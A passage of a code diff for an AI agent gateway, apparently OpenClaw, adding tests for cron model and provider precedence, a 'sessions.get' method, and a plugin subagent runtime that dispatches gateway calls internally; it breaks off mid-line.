+import { + makeCfg, + makeJob, + withTempCronHome, + writeSessionStoreEntries, +} from "./isolated-agent.test-harness.js"; +import type { CronJob } from "./types.js"; + +const withTempHome = withTempCronHome; + +function makeDeps() { + return { + sendMessageSlack: vi.fn(), + sendMessageWhatsApp: vi.fn(), + sendMessageTelegram: vi.fn(), + sendMessageDiscord: vi.fn(), + sendMessageSignal: vi.fn(), + sendMessageIMessage: vi.fn(), + }; +} + +function mockEmbeddedOk() { + vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + payloads: [{ text: "ok" }], + meta: { + durationMs: 5, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + }); +} + +/** + * Extract the provider and model from the last runEmbeddedPiAgent call. + */ +function lastEmbeddedCall(): { provider?: string; model?: string } { + const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; + expect(calls.length).toBeGreaterThan(0); + return calls.at(-1)?.[0] as { provider?: string; model?: string }; +} + +const DEFAULT_MESSAGE = "do it"; + +type TurnOptions = { + cfgOverrides?: Parameters[2]; + jobPayload?: CronJob["payload"]; + sessionKey?: string; + storeEntries?: Record>; +}; + +/** Like runTurn but does NOT assert the embedded agent was called (for error paths). */ +async function runErrorTurn(home: string, options: TurnOptions = {}) { + const storePath = await writeSessionStoreEntries(home, { + "agent:main:main": { + sessionId: "main-session", + updatedAt: Date.now(), + lastProvider: "webchat", + lastTo: "", + }, + ...options.storeEntries, + }); + mockEmbeddedOk(); + + const jobPayload = options.jobPayload ?? { + kind: "agentTurn" as const, + message: DEFAULT_MESSAGE, + deliver: false, + }; + + const res = await runCronIsolatedAgentTurn({ + cfg: makeCfg(home, storePath, options.cfgOverrides), + deps: makeDeps(), + job: makeJob(jobPayload), + message: DEFAULT_MESSAGE, + sessionKey: options.sessionKey ?? "cron:job-1", + lane: "cron", + }); + + return { res }; +} + +async function runTurn(home: string, options: TurnOptions = {}) { + const storePath = await writeSessionStoreEntries(home, { + "agent:main:main": { + sessionId: "main-session", + updatedAt: Date.now(), + lastProvider: "webchat", + lastTo: "", + }, + ...options.storeEntries, + }); + mockEmbeddedOk(); + + const jobPayload = options.jobPayload ?? { + kind: "agentTurn" as const, + message: DEFAULT_MESSAGE, + deliver: false, + }; + + const res = await runCronIsolatedAgentTurn({ + cfg: makeCfg(home, storePath, options.cfgOverrides), + deps: makeDeps(), + job: makeJob(jobPayload), + message: DEFAULT_MESSAGE, + sessionKey: options.sessionKey ?? "cron:job-1", + lane: "cron", + }); + + return { res, call: lastEmbeddedCall() }; +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +describe("cron model formatting and precedence edge cases", () => { + beforeEach(() => { + vi.mocked(runEmbeddedPiAgent).mockClear(); + vi.mocked(loadModelCatalog).mockResolvedValue([]); + }); + + // ------ provider/model string splitting ------ + + describe("parseModelRef formatting", () => { + it("splits standard provider/model", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "openai/gpt-4.1-mini" }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("handles leading/trailing whitespace in model string", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: " openai/gpt-4.1-mini ", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("handles openrouter nested provider paths", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openrouter/meta-llama/llama-3.3-70b:free", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openrouter"); + expect(call.model).toBe("meta-llama/llama-3.3-70b:free"); + }); + }); + + it("rejects model with trailing slash (empty model name)", async () => { + await withTempHome(async (home) => { + const { res } = await runErrorTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "openai/" }, + }); + expect(res.status).toBe("error"); + expect(res.error).toMatch(/invalid model/i); + expect(vi.mocked(runEmbeddedPiAgent)).not.toHaveBeenCalled(); + }); + }); + + it("rejects model with leading slash (empty provider)", async () => { + await withTempHome(async (home) => { + const { res } = await runErrorTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "/gpt-4.1-mini" }, + }); + expect(res.status).toBe("error"); + expect(res.error).toMatch(/invalid model/i); + expect(vi.mocked(runEmbeddedPiAgent)).not.toHaveBeenCalled(); + }); + }); + + it("normalizes provider casing", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "OpenAI/gpt-4.1-mini", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("normalizes anthropic model aliases", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/opus-4.5", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + + it("normalizes bedrock provider alias", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "bedrock/claude-sonnet-4-5", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("amazon-bedrock"); + }); + }); + }); + + // ------ precedence: job payload > session override > default ------ + + describe("model precedence isolation", () => { + it("job payload model overrides default (anthropic → openai)", async () => { + // Default in makeCfg is anthropic/claude-opus-4-5. + // Job payload sets openai/gpt-4.1-mini. Provider must be openai. + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openai/gpt-4.1-mini", + }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("session override applies when no job payload model is present", async () => { + // No model in job payload. Session store has openai override. + // Provider must be openai, not the default anthropic. + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("job payload model wins over conflicting session override", async () => { + // Job payload says anthropic. Session says openai. Job must win. + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/claude-sonnet-4-5", + deliver: false, + }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-sonnet-4-5"); + }); + }); + + it("falls through to default when no override is present", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + // makeCfg default is anthropic/claude-opus-4-5 + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ sequential runs with different overrides (the CI failure pattern) ------ + + describe("sequential model switches (CI failure regression)", () => { + it("openai override → session openai → job anthropic: each step resolves correctly", async () => { + // This reproduces the exact pattern from the CI failure. + // Three sequential calls in one temp home, switching providers. + await withTempHome(async (home) => { + // Step 1: Job payload says openai + vi.mocked(runEmbeddedPiAgent).mockClear(); + const step1 = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openai/gpt-4.1-mini", + }, + }); + expect(step1.call.provider).toBe("openai"); + expect(step1.call.model).toBe("gpt-4.1-mini"); + + // Step 2: No job model, session store says openai + vi.mocked(runEmbeddedPiAgent).mockClear(); + mockEmbeddedOk(); + const step2 = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(step2.call.provider).toBe("openai"); + expect(step2.call.model).toBe("gpt-4.1-mini"); + + // Step 3: Job payload says anthropic, session store still says openai + vi.mocked(runEmbeddedPiAgent).mockClear(); + mockEmbeddedOk(); + const step3 = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/claude-opus-4-5", + deliver: false, + }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(step3.call.provider).toBe("anthropic"); + expect(step3.call.model).toBe("claude-opus-4-5"); + }); + }); + + it("provider does not leak between isolated sequential runs", async () => { + // Run with openai, then run with no override. + // Second run must get the default (anthropic), not leaked openai. + await withTempHome(async (home) => { + // Run 1: explicit openai + const r1 = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openai/gpt-4.1-mini", + }, + }); + expect(r1.call.provider).toBe("openai"); + + // Run 2: no override — must revert to default anthropic + vi.mocked(runEmbeddedPiAgent).mockClear(); + mockEmbeddedOk(); + const r2 = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + expect(r2.call.provider).toBe("anthropic"); + expect(r2.call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ forceNew session + stored model override interaction ------ + + describe("forceNew session preserves model overrides from store", () => { + it("new isolated session inherits stored modelOverride/providerOverride", async () => { + // Isolated cron uses forceNew=true, which creates a new sessionId. + // The stored modelOverride/providerOverride must still be read and applied + // (resolveCronSession spreads ...entry before overriding core fields). + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "old-session-id", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("new isolated session uses default when store has no override", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "old-session-id", + updatedAt: Date.now(), + // No providerOverride or modelOverride + }, + }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ whitespace / empty edge cases ------ + + describe("whitespace and empty model strings", () => { + it("whitespace-only model treated as unset (falls to default)", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: " " }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + + it("empty string model treated as unset", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "" }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + + it("whitespace-only session modelOverride is ignored", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "old", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: " ", + }, + }, + }); + // Whitespace modelOverride should be ignored → default + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ config default model as string vs object ------ + + describe("config model format variations", () => { + it("default model as string 'provider/model'", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + cfgOverrides: { + agents: { + defaults: { + model: "openai/gpt-4.1", + }, + }, + }, + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1"); + }); + }); + + it("default model as object with primary field", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + cfgOverrides: { + agents: { + defaults: { + model: { primary: "openai/gpt-4.1" }, + }, + }, + }, + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1"); + }); + }); + + it("job override switches away from object default", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + cfgOverrides: { + agents: { + defaults: { + model: { primary: "openai/gpt-4.1" }, + }, + }, + }, + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/claude-sonnet-4-5", + }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-sonnet-4-5"); + }); + }); + }); +}); diff --git a/src/gateway/config-reload.ts b/src/gateway/config-reload.ts index 38fe786a667..3887548e51b 100644 --- a/src/gateway/config-reload.ts +++ b/src/gateway/config-reload.ts @@ -6,7 +6,7 @@ import { isPlainObject } from "../utils.js"; import { buildGatewayReloadPlan, type GatewayReloadPlan } from "./config-reload-plan.js"; export { buildGatewayReloadPlan }; -export type { GatewayReloadPlan } from "./config-reload-plan.js"; +export type { ChannelKind, GatewayReloadPlan } from "./config-reload-plan.js"; export type GatewayReloadSettings = { mode: GatewayReloadMode; diff --git a/src/gateway/method-scopes.ts b/src/gateway/method-scopes.ts index 866d8071a83..04f3b756567 100644 --- a/src/gateway/method-scopes.ts +++ b/src/gateway/method-scopes.ts @@ -63,6 +63,7 @@ const METHOD_SCOPE_GROUPS: Record = { "skills.status", "voicewake.get", "sessions.list", + "sessions.get", "sessions.preview", "sessions.resolve", "sessions.usage", diff --git a/src/gateway/server-methods.ts b/src/gateway/server-methods.ts index 53bd8625aa3..62cd6bbcd9e 100644 --- a/src/gateway/server-methods.ts +++ b/src/gateway/server-methods.ts @@ -1,3 +1,4 @@ +import { withPluginRuntimeGatewayRequestScope } from "../plugins/runtime/gateway-request-scope.js"; import { formatControlPlaneActor, resolveControlPlaneActor } from "./control-plane-audit.js"; import { consumeControlPlaneWriteBudget } from "./control-plane-rate-limit.js"; import { ADMIN_SCOPE, authorizeOperatorScopesForMethod } from "./method-scopes.js"; @@ -138,12 +139,17 @@ export async function handleGatewayRequest( ); return; } - await handler({ - req, - params: (req.params ?? {}) as Record, - client, - isWebchatConnect, - respond, - context, - }); + const invokeHandler = () => + handler({ + req, + params: (req.params ?? {}) as Record, + client, + isWebchatConnect, + respond, + context, + }); + // All handlers run inside a request scope so that plugin runtime + // subagent methods (e.g. context engine tools spawning sub-agents + // during tool execution) can dispatch back into the gateway. + await withPluginRuntimeGatewayRequestScope({ context, isWebchatConnect }, invokeHandler); } diff --git a/src/gateway/server-methods/sessions.ts b/src/gateway/server-methods/sessions.ts index 523e6655d71..8200031ae7c 100644 --- a/src/gateway/server-methods/sessions.ts +++ b/src/gateway/server-methods/sessions.ts @@ -50,6 +50,7 @@ import { type SessionsPatchResult, type SessionsPreviewEntry, type SessionsPreviewResult, + readSessionMessages, } from "../session-utils.js"; import { applySessionsPatchToStore } from "../sessions-patch.js"; import { resolveSessionKeyFromResolveParams } from "../sessions-resolve.js"; @@ -625,6 +626,28 @@ export const sessionsHandlers: GatewayRequestHandlers = { respond(true, { ok: true, key: target.canonicalKey, deleted, archived }, undefined); }, + "sessions.get": ({ params, respond }) => { + const p = params; + const key = requireSessionKey(p.key ?? p.sessionKey, respond); + if (!key) { + return; + } + const limit = + typeof p.limit === "number" && Number.isFinite(p.limit) + ? Math.max(1, Math.floor(p.limit)) + : 200; + + const { target, storePath } = resolveGatewaySessionTargetFromKey(key); + const store = loadSessionStore(storePath); + const entry = target.storeKeys.map((k) => store[k]).find(Boolean); + if (!entry?.sessionId) { + respond(true, { messages: [] }, undefined); + return; + } + const allMessages = readSessionMessages(entry.sessionId, storePath, entry.sessionFile); + const messages = limit < allMessages.length ? allMessages.slice(-limit) : allMessages; + respond(true, { messages }, undefined); + }, "sessions.compact": async ({ params, respond }) => { if (!assertValidParams(params, validateSessionsCompactParams, "sessions.compact", respond)) { return; diff --git a/src/gateway/server-plugins.test.ts b/src/gateway/server-plugins.test.ts index 4f2a4c84059..38f13cf6ac3 100644 --- a/src/gateway/server-plugins.test.ts +++ b/src/gateway/server-plugins.test.ts @@ -1,14 +1,25 @@ -import { describe, expect, test, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; import type { PluginRegistry } from "../plugins/registry.js"; +import type { PluginRuntime } from "../plugins/runtime/types.js"; import type { PluginDiagnostic } from "../plugins/types.js"; -import { loadGatewayPlugins } from "./server-plugins.js"; +import type { GatewayRequestContext, GatewayRequestOptions } from "./server-methods/types.js"; const loadOpenClawPlugins = vi.hoisted(() => vi.fn()); +type HandleGatewayRequestOptions = GatewayRequestOptions & { + extraHandlers?: Record; +}; +const handleGatewayRequest = vi.hoisted(() => + vi.fn(async (_opts: HandleGatewayRequestOptions) => {}), +); vi.mock("../plugins/loader.js", () => ({ loadOpenClawPlugins, })); +vi.mock("./server-methods.js", () => ({ + handleGatewayRequest, +})); + const createRegistry = (diagnostics: PluginDiagnostic[]): PluginRegistry => ({ plugins: [], tools: [], @@ -24,8 +35,75 @@ const createRegistry = (diagnostics: PluginDiagnostic[]): PluginRegistry => ({ diagnostics, }); +type ServerPluginsModule = typeof import("./server-plugins.js"); + +function createTestContext(label: string): GatewayRequestContext { + return { label } as unknown as GatewayRequestContext; +} + +function getLastDispatchedContext(): GatewayRequestContext | undefined { + const call = handleGatewayRequest.mock.calls.at(-1)?.[0]; + return call?.context; +} + +async function importServerPluginsModule(): Promise { + return import("./server-plugins.js"); +} + +function createSubagentRuntime(serverPlugins: ServerPluginsModule): PluginRuntime["subagent"] { + const log = { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + }; + loadOpenClawPlugins.mockReturnValue(createRegistry([])); + serverPlugins.loadGatewayPlugins({ + cfg: {}, + workspaceDir: "/tmp", + log, + coreGatewayHandlers: {}, + baseMethods: [], + }); + const call = loadOpenClawPlugins.mock.calls.at(-1)?.[0] as + | { runtimeOptions?: { subagent?: PluginRuntime["subagent"] } } + | undefined; + if (!call?.runtimeOptions?.subagent) { + throw new Error("Expected loadGatewayPlugins to provide subagent runtime"); + } + return call.runtimeOptions.subagent; +} + +beforeEach(() => { + loadOpenClawPlugins.mockReset(); + handleGatewayRequest.mockReset(); + handleGatewayRequest.mockImplementation(async (opts: HandleGatewayRequestOptions) => { + switch (opts.req.method) { + case "agent": + opts.respond(true, { runId: "run-1" }); + return; + case "agent.wait": + opts.respond(true, { status: "ok" }); + return; + case "sessions.get": + opts.respond(true, { messages: [] }); + return; + case "sessions.delete": + opts.respond(true, {}); + return; + default: + opts.respond(true, {}); + } + }); +}); + +afterEach(() => { + vi.resetModules(); +}); + describe("loadGatewayPlugins", () => { - test("logs plugin errors with details", () => { + test("logs plugin errors with details", async () => { + const { loadGatewayPlugins } = await importServerPluginsModule(); const diagnostics: PluginDiagnostic[] = [ { level: "error", @@ -56,4 +134,79 @@ describe("loadGatewayPlugins", () => { ); expect(log.warn).not.toHaveBeenCalled(); }); + + test("provides subagent runtime with sessions.get method aliases", async () => { + const { loadGatewayPlugins } = await importServerPluginsModule(); + loadOpenClawPlugins.mockReturnValue(createRegistry([])); + + const log = { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + }; + + loadGatewayPlugins({ + cfg: {}, + workspaceDir: "/tmp", + log, + coreGatewayHandlers: {}, + baseMethods: [], + }); + + const call = loadOpenClawPlugins.mock.calls.at(-1)?.[0]; + const subagent = call?.runtimeOptions?.subagent; + expect(typeof subagent?.getSessionMessages).toBe("function"); + expect(typeof subagent?.getSession).toBe("function"); + }); + + test("shares fallback context across module reloads for existing runtimes", async () => { + const first = await importServerPluginsModule(); + const runtime = createSubagentRuntime(first); + + const staleContext = createTestContext("stale"); + first.setFallbackGatewayContext(staleContext); + await runtime.run({ sessionKey: "s-1", message: "hello" }); + expect(getLastDispatchedContext()).toBe(staleContext); + + vi.resetModules(); + const reloaded = await importServerPluginsModule(); + const freshContext = createTestContext("fresh"); + reloaded.setFallbackGatewayContext(freshContext); + + await runtime.run({ sessionKey: "s-1", message: "hello again" }); + expect(getLastDispatchedContext()).toBe(freshContext); + }); + + test("uses updated fallback context after context replacement", async () => { + const serverPlugins = await importServerPluginsModule(); + const runtime = createSubagentRuntime(serverPlugins); + const firstContext = createTestContext("before-restart"); + const secondContext = createTestContext("after-restart"); + + serverPlugins.setFallbackGatewayContext(firstContext); + await runtime.run({ sessionKey: "s-2", message: "before restart" }); + expect(getLastDispatchedContext()).toBe(firstContext); + + serverPlugins.setFallbackGatewayContext(secondContext); + await runtime.run({ sessionKey: "s-2", message: "after restart" }); + expect(getLastDispatchedContext()).toBe(secondContext); + }); + + test("reflects fallback context object mutation at dispatch time", async () => { + const serverPlugins = await importServerPluginsModule(); + const runtime = createSubagentRuntime(serverPlugins); + const context = { marker: "before-mutation" } as GatewayRequestContext & { + marker: string; + }; + + serverPlugins.setFallbackGatewayContext(context); + context.marker = "after-mutation"; + + await runtime.run({ sessionKey: "s-3", message: "mutated context" }); + const dispatched = getLastDispatchedContext() as + | (GatewayRequestContext & { marker: string }) + | undefined; + expect(dispatched?.marker).toBe("after-mutation"); + }); }); diff --git a/src/gateway/server-plugins.ts b/src/gateway/server-plugins.ts index e879310c304..dde23f703a6 100644 --- a/src/gateway/server-plugins.ts +++ b/src/gateway/server-plugins.ts @@ -1,6 +1,165 @@ +import { randomUUID } from "node:crypto"; import type { loadConfig } from "../config/config.js"; import { loadOpenClawPlugins } from "../plugins/loader.js"; -import type { GatewayRequestHandler } from "./server-methods/types.js"; +import { getPluginRuntimeGatewayRequestScope } from "../plugins/runtime/gateway-request-scope.js"; +import type { PluginRuntime } from "../plugins/runtime/types.js"; +import { GATEWAY_CLIENT_IDS, GATEWAY_CLIENT_MODES } from "./protocol/client-info.js"; +import type { ErrorShape } from "./protocol/index.js"; +import { PROTOCOL_VERSION } from "./protocol/index.js"; +import { handleGatewayRequest } from "./server-methods.js"; +import type { + GatewayRequestContext, + GatewayRequestHandler, + GatewayRequestOptions, +} from "./server-methods/types.js"; + +// ── Fallback gateway context for non-WS paths (Telegram, WhatsApp, etc.) ── +// The WS path sets a per-request scope via AsyncLocalStorage, but channel +// adapters (Telegram polling, etc.) invoke the agent directly without going +// through handleGatewayRequest. We store the gateway context at startup so +// dispatchGatewayMethod can use it as a fallback. + +const FALLBACK_GATEWAY_CONTEXT_STATE_KEY: unique symbol = Symbol.for( + "openclaw.fallbackGatewayContextState", +); + +type FallbackGatewayContextState = { + context: GatewayRequestContext | undefined; +}; + +const fallbackGatewayContextState = (() => { + const globalState = globalThis as typeof globalThis & { + [FALLBACK_GATEWAY_CONTEXT_STATE_KEY]?: FallbackGatewayContextState; + }; + const existing = globalState[FALLBACK_GATEWAY_CONTEXT_STATE_KEY]; + if (existing) { + return existing; + } + const created: FallbackGatewayContextState = { context: undefined }; + globalState[FALLBACK_GATEWAY_CONTEXT_STATE_KEY] = created; + return created; +})(); + +export function setFallbackGatewayContext(ctx: GatewayRequestContext): void { + // TODO: This startup snapshot can become stale if runtime config/context changes. + fallbackGatewayContextState.context = ctx; +} + +// ── Internal gateway dispatch for plugin runtime ──────────────────── + +function createSyntheticOperatorClient(): GatewayRequestOptions["client"] { + return { + connect: { + minProtocol: PROTOCOL_VERSION, + maxProtocol: PROTOCOL_VERSION, + client: { + id: GATEWAY_CLIENT_IDS.GATEWAY_CLIENT, + version: "internal", + platform: "node", + mode: GATEWAY_CLIENT_MODES.BACKEND, + }, + role: "operator", + scopes: ["operator.admin", "operator.approvals", "operator.pairing"], + }, + }; +} + +async function dispatchGatewayMethod( + method: string, + params: Record, +): Promise { + const scope = getPluginRuntimeGatewayRequestScope(); + const context = scope?.context ?? fallbackGatewayContextState.context; + const isWebchatConnect = scope?.isWebchatConnect ?? (() => false); + if (!context) { + throw new Error( + `Plugin subagent dispatch requires a gateway request scope (method: ${method}). No scope set and no fallback context available.`, + ); + } + + let result: { ok: boolean; payload?: unknown; error?: ErrorShape } | undefined; + await handleGatewayRequest({ + req: { + type: "req", + id: `plugin-subagent-${randomUUID()}`, + method, + params, + }, + client: createSyntheticOperatorClient(), + isWebchatConnect, + respond: (ok, payload, error) => { + if (!result) { + result = { ok, payload, error }; + } + }, + context, + }); + + if (!result) { + throw new Error(`Gateway method "${method}" completed without a response.`); + } + if (!result.ok) { + throw new Error(result.error?.message ?? `Gateway method "${method}" failed.`); + } + return result.payload as T; +} + +function createGatewaySubagentRuntime(): PluginRuntime["subagent"] { + const getSessionMessages: PluginRuntime["subagent"]["getSessionMessages"] = async (params) => { + const payload = await dispatchGatewayMethod<{ messages?: unknown[] }>("sessions.get", { + key: params.sessionKey, + ...(params.limit != null && { limit: params.limit }), + }); + return { messages: Array.isArray(payload?.messages) ? payload.messages : [] }; + }; + + return { + async run(params) { + const payload = await dispatchGatewayMethod<{ runId?: string }>("agent", { + sessionKey: params.sessionKey, + message: params.message, + deliver: params.deliver ?? false, + ...(params.extraSystemPrompt && { extraSystemPrompt: params.extraSystemPrompt }), + ...(params.lane && { lane: params.lane }), + ...(params.idempotencyKey && { idempotencyKey: params.idempotencyKey }), + }); + const runId = payload?.runId; + if (typeof runId !== "string" || !runId) { + throw new Error("Gateway agent method returned an invalid runId."); + } + return { runId }; + }, + async waitForRun(params) { + const payload = await dispatchGatewayMethod<{ status?: string; error?: string }>( + "agent.wait", + { + runId: params.runId, + ...(params.timeoutMs != null && { timeoutMs: params.timeoutMs }), + }, + ); + const status = payload?.status; + if (status !== "ok" && status !== "error" && status !== "timeout") { + throw new Error(`Gateway agent.wait returned unexpected status: ${status}`); + } + return { + status, + ...(typeof payload?.error === "string" && payload.error && { error: payload.error }), + }; + }, + getSessionMessages, + async getSession(params) { + return getSessionMessages(params); + }, + async deleteSession(params) { + await dispatchGatewayMethod("sessions.delete", { + key: params.sessionKey, + deleteTranscript: params.deleteTranscript ?? true, + }); + }, + }; +} + +// ── Plugin loading ────────────────────────────────────────────────── export function loadGatewayPlugins(params: { cfg: ReturnType; @@ -24,6 +183,9 @@ export function loadGatewayPlugins(params: { debug: (msg) => params.log.debug(msg), }, coreGatewayHandlers: params.coreGatewayHandlers, + runtimeOptions: { + subagent: createGatewaySubagentRuntime(), + }, }); const pluginMethods = Object.keys(pluginRegistry.gatewayHandlers); const gatewayMethods = Array.from(new Set([...params.baseMethods, ...pluginMethods])); diff --git a/src/gateway/server.agent.gateway-server-agent.mocks.ts b/src/gateway/server.agent.gateway-server-agent.mocks.ts index b930ccbc67f..c3a33eca9ad 100644 --- a/src/gateway/server.agent.gateway-server-agent.mocks.ts +++ b/src/gateway/server.agent.gateway-server-agent.mocks.ts @@ -1,9 +1,23 @@ import { vi } from "vitest"; -import { createEmptyPluginRegistry, type PluginRegistry } from "../plugins/registry.js"; +import type { PluginRegistry } from "../plugins/registry.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; export const registryState: { registry: PluginRegistry } = { - registry: createEmptyPluginRegistry(), + registry: { + plugins: [], + tools: [], + hooks: [], + typedHooks: [], + channels: [], + providers: [], + gatewayHandlers: {}, + httpHandlers: [], + httpRoutes: [], + cliRegistrars: [], + services: [], + commands: [], + diagnostics: [], + } as PluginRegistry, }; export function setRegistry(registry: PluginRegistry) { @@ -21,5 +35,7 @@ vi.mock("./server-plugins.js", async () => { gatewayMethods: params.baseMethods ?? [], }; }, + // server.impl.ts sets a fallback context before dispatch; tests only need the symbol to exist. + setFallbackGatewayContext: vi.fn(), }; }); diff --git a/src/gateway/server.impl.ts b/src/gateway/server.impl.ts index 2e816c67dce..efb95e7a7cf 100644 --- a/src/gateway/server.impl.ts +++ b/src/gateway/server.impl.ts @@ -89,7 +89,7 @@ import { createSecretsHandlers } from "./server-methods/secrets.js"; import { hasConnectedMobileNode } from "./server-mobile-nodes.js"; import { loadGatewayModelCatalog } from "./server-model-catalog.js"; import { createNodeSubscriptionManager } from "./server-node-subscriptions.js"; -import { loadGatewayPlugins } from "./server-plugins.js"; +import { loadGatewayPlugins, setFallbackGatewayContext } from "./server-plugins.js"; import { createGatewayReloadHandlers } from "./server-reload-handlers.js"; import { resolveGatewayRuntimeConfig } from "./server-runtime-config.js"; import { createGatewayRuntimeState } from "./server-runtime-state.js"; @@ -779,6 +779,63 @@ export async function startGatewayServer( const canvasHostServerPort = (canvasHostServer as CanvasHostServer | null)?.port; + const gatewayRequestContext: import("./server-methods/types.js").GatewayRequestContext = { + deps, + cron, + cronStorePath, + execApprovalManager, + loadGatewayModelCatalog, + getHealthCache, + refreshHealthSnapshot: refreshGatewayHealthSnapshot, + logHealth, + logGateway: log, + incrementPresenceVersion, + getHealthVersion, + broadcast, + broadcastToConnIds, + nodeSendToSession, + nodeSendToAllSubscribed, + nodeSubscribe, + nodeUnsubscribe, + nodeUnsubscribeAll, + hasConnectedMobileNode: hasMobileNodeConnected, + hasExecApprovalClients: () => { + for (const 